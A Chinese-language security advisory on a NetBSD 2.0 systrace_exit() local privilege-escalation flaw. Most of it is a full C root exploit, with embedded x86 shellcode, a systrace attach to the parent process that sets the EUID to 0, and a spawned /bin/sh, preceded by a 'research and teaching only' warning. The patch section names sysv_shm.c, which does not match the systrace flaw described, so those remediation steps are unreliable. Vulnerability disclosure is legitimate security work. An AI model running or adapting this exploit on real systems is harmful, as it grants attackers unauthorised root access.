NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞
涉及程序:
NetBSD/FreeBSD
描述:
NetBSD/FreeBSD移植的Systrace Exit函数访问验证权限提升漏洞
详细:
NetBSD/FreeBSD是开放源代码操作系统,Systrace可通过强制系统调用的访问策略监视并且控制应用程序访问系统。NetBSD/FreeBSD的Systrace的实现存在访问验证问题,本地攻击者可以利用这个漏洞提升权限。
systrace_exit()没有检查连接到systrace的进程是否属于超级用户权限,在exit操作时会设置EUID为0,因此本地攻击者可以利用这个问题提升权限。
受影响系统:
NetBSD NetBSD 2.0
不受影响系统:
NetBSD NetBSD 1.6.2
NetBSD NetBSD 1.6.1
NetBSD NetBSD 1.6
NetBSD NetBSD 1.5.3
NetBSD NetBSD 1.5.2
NetBSD NetBSD 1.5.1
攻击方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Stefan Esser (se@FreeBSD.org)提供了如下测试方法:
#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/systrace.h>
#define systrace_device "/dev/systrace"
char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
"\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
"\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";
void (*magic)(void) = MAGIC;
int nbsd_systrace_open()
{
int fd;
printf("[+] Connecting to %s... ", systrace_device);
fd = open(systrace_device, O_RDONLY, 0);
if (fd == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
exit(1);
}
printf("done.\n");
return (fd);
}
int nbsd_attach_parent(int fd)
{
pid_t pid = getppid();
printf("[+] Attaching to parent... ");
if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
perror("failed with error: ");
printf("\nSorry but the exploit failed\n");
}
printf("done.\n");
return (0);
}
void nbsd_handle_msg(int fd)
{
struct str_message msg;
struct systrace_answer ans;
int r;
r = read(fd, &msg, sizeof(msg));
if (r != sizeof(msg)) {
exit(1);
}
memset(&ans, 0, sizeof(ans));
ans.stra_pid = msg.msg_pid;
ans.stra_seqnr = msg.msg_seqnr;
ans.stra_policy = SYSTR_POLICY_PERMIT;
ans.stra_flags =
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
ans.stra_error = 0;
ans.stra_seteuid = getuid();
ans.stra_setegid = getgid();
if (ioctl(fd, STRIOCANSWER, &ans) == -1);
}
void doit()
{
int p,f,fd;
fd = nbsd_systrace_open();
f = fork();
if (f == 0) {
sleep(1);
nbsd_attach_parent(fd);
while (1) {
nbsd_handle_msg(fd);
}
exit(1);
}
printf("[+] Doing some magic... ");
sleep(2);
magic();
setuid(0);
setgid(0);
kill(f, 9);
if (getuid() != 0) {
printf("failed.\n");
printf("\nSorry but the exploit failed.");
exit(1);
}
printf("done.\n\n");
system("uname -v");
system("id");
execlp("/bin/sh", "/bin/sh", 0);
}
void banner()
{
printf("NetBSD/x86 systrace local root exploit\n");
printf("by ziegenpeter\n\n");
if (getuid() == 0) {
printf("no comment\n");
exit(1);
}
}
int main(int argc, char **argv)
{
int fd;
banner();
doit();
return (0);
}
解决方案:
厂商补丁:
NetBSD
------
2004/04/09的NetBSD CVS tree已经修正此漏洞,建议用户从CVS升级,重构和安装内核:
# cd src
# cvs update -d -P -r BRANCH sys/kern/sysv_shm.c
# cd sys/arch/ARCH/conf
# config KERNCONF
# cd ../compile/KERNCONF
# make depend;make
# mv /netbsd /netbsd.old
# cp netbsd /
# reboot
附加信息:
BUGTRAQ ID: 10320